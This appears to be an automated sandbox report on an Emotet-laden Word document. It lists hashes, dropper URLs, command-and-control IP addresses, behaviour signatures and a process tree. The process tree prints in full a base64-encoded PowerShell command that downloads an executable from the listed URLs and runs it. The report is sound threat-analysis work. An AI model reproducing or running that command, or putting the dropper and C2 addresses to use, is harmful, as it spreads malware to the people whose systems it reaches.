Analysis
-
max time kernel
114s -
max time network
157s -
platform
windows7_x64 -
resource
win7 -
submitted
28-07-2020 21:15
General
-
Target
emotet_e3_634c88b389947a3f0dc77ac4a1aa97cd174f88a3e2c8e83a9f99f39423a389d0_2020-07-28__211542._doc.doc
-
Size
169KB
-
MD5
513d536c6e67cac0f2308f189c08f57e
-
SHA1
3ee414c34ad9c9c4bf7e29f392e8613d65d5b4bc
-
SHA256
634c88b389947a3f0dc77ac4a1aa97cd174f88a3e2c8e83a9f99f39423a389d0
-
SHA512
1b854c8b9830e836939a728eacbbb7e8f0995d888f70c1642b0345a6c9e8c54eaa840e8e86dc3ccb86bef0a5245be9d1e97fc5c18edef66e8244aef20266934f
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://w3art.com/dtla/bBmTEkbPK/
exe.dropper
http://www.stempora.com/@mer/ybV/
exe.dropper
http://sundaystudio.net/cgi-bin/bzsvy9778486/
exe.dropper
http://sujest.com/BL/nQsQRv/
exe.dropper
http://studiotoybox.com/common/qezZSZB/
Extracted
Family
emotet
C2
177.37.81.212:443
74.207.230.187:8080
190.164.75.175:80
87.252.100.28:80
105.209.239.55:80
163.172.107.70:8080
37.208.106.146:8080
24.157.25.203:80
212.112.113.235:80
140.207.113.106:443
75.139.38.211:80
192.210.217.94:8080
46.49.124.53:80
75.127.14.170:8080
87.106.231.60:8080
139.59.12.63:8080
181.167.35.84:80
201.214.108.231:80
74.208.173.91:8080
189.146.1.78:443
rsa_pubkey.plain
Signatures
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
-
Executes dropped EXE 2 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 280 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
-
Drops file in System32 directory 2 IoCs
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
-
Suspicious use of SetWindowsHookEx 6 IoCs
-
Blacklisted process makes network request 1 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_634c88b389947a3f0dc77ac4a1aa97cd174f88a3e2c8e83a9f99f39423a389d0_2020-07-28__211542._doc.doc"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABZAFUATgBDAEwAbABoAHgAPQAnAEUASQBBAFYARQB2AHgAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAGAAVQBSAEkAVAB5AGAAUAByAE8AdABvAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABSAE4ATgBZAEoAawB4AG8AIAA9ACAAJwA5ADIAMAAnADsAJABXAEYAVQBQAEMAZQBnAHMAPQAnAFkATgBTAEIATgBwAGwAcwAnADsAJABBAEsAWgBUAEkAdQBkAHYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIATgBOAFkASgBrAHgAbwArACcALgBlAHgAZQAnADsAJABYAFkATgBNAEwAcwB6AG0APQAnAFcASgBSAEEATwBtAG8AcwAnADsAJABIAEMARwBPAEgAagB2AGkAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAYwBMAGkAZQBuAHQAOwAkAFEATwBQAFMAWAB3AHkAZwA9ACcAaAB0AHQAcAA6AC8ALwB3ADMAYQByAHQALgBjAG8AbQAvAGQAdABsAGEALwBiAEIAbQBUAEUAawBiAFAASwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHMAdABlAG0AcABvAHIAYQAuAGMAbwBtAC8AQABtAGUAcgAvAHkAYgBWAC8AKgBoAHQAdABwADoALwAvAHMAdQBuAGQAYQB5AHMAdAB1AGQAaQBvAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AYgB6AHMAdgB5ADkANwA3ADgANAA4ADYALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGoAZQBzAHQALgBjAG8AbQAvAEIATAAvAG4AUQBzAFEAUgB2AC8AKgBoAHQAdABwADoALwAvAHMAdAB1AGQAaQBvAHQAbwB5AGIAbwB4AC4AYwBvAG0ALwBjAG8AbQBtAG8AbgAvAHEAZQB6AFoAUwBaAEIALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUARQBLAFkARgB0AGQAeQA9ACcATABIAE4ARwBTAGQAeQB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQwBZAEIAbABrAG0AIABpAG4AIAAkAFEATwBQAFMAWAB3AHkAZwApAHsAdAByAHkAewAkAEgAQwBHAE8ASABqAHYAaQAuACIAZABPAGAAVwBuAEwATwBgAEEAZABgAEYAaQBMAGUAIgAoACQAWABXAEMAWQBCAGwAawBtACwAIAAkAEEASwBaAFQASQB1AGQAdgApADsAJABWAEsAVQBCAFEAcABsAGoAPQAnAEwAWQBaAEcATQB1AHoAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEEASwBaAFQASQB1AGQAdgApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAMAA1ADAAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAGAAVABFACIAKAAkAEEASwBaAFQASQB1AGQAdgApADsAJABaAFMAVQBJAE0AZABuAGUAPQAnAFEAUgBPAEIAUQBtAHMAaQAnADsAYgByAGUAYQBrADsAJABDAE4AVgBNAFYAawByAGEAPQAnAEYAVQBTAEgATABwAGsAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAEIASQBZAEQAbABnAHQAPQAnAFgAVwBJAFQAVQBtAGQAZQAnAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Drops file in System32 directory
- Blacklisted process makes network request
-
C:\Users\Admin\920.exeC:\Users\Admin\920.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wshelper\KBDYBA.exe"C:\Windows\SysWOW64\wshelper\KBDYBA.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\920.exe
-
C:\Users\Admin\920.exe
-
C:\Windows\SysWOW64\wshelper\KBDYBA.exe
-
memory/1124-2-0x0000000008990000-0x0000000008994000-memory.dmpFilesize
16KB
-
memory/1124-4-0x0000000006E50000-0x0000000007050000-memory.dmpFilesize
2.0MB
-
memory/1124-5-0x0000000006E50000-0x0000000007050000-memory.dmpFilesize
2.0MB
-
memory/1124-6-0x000000000AE30000-0x000000000AE34000-memory.dmpFilesize
16KB
-
memory/1124-7-0x000000000BEB0000-0x000000000BEB4000-memory.dmpFilesize
16KB
-
memory/1124-10-0x0000000002180000-0x0000000002181000-memory.dmpFilesize
4KB
-
memory/1328-12-0x00000000003D0000-0x00000000003DC000-memory.dmpFilesize
48KB
-
memory/1684-14-0x0000000000000000-mapping.dmp
-
memory/1684-16-0x00000000002C0000-0x00000000002CC000-memory.dmpFilesize
48KB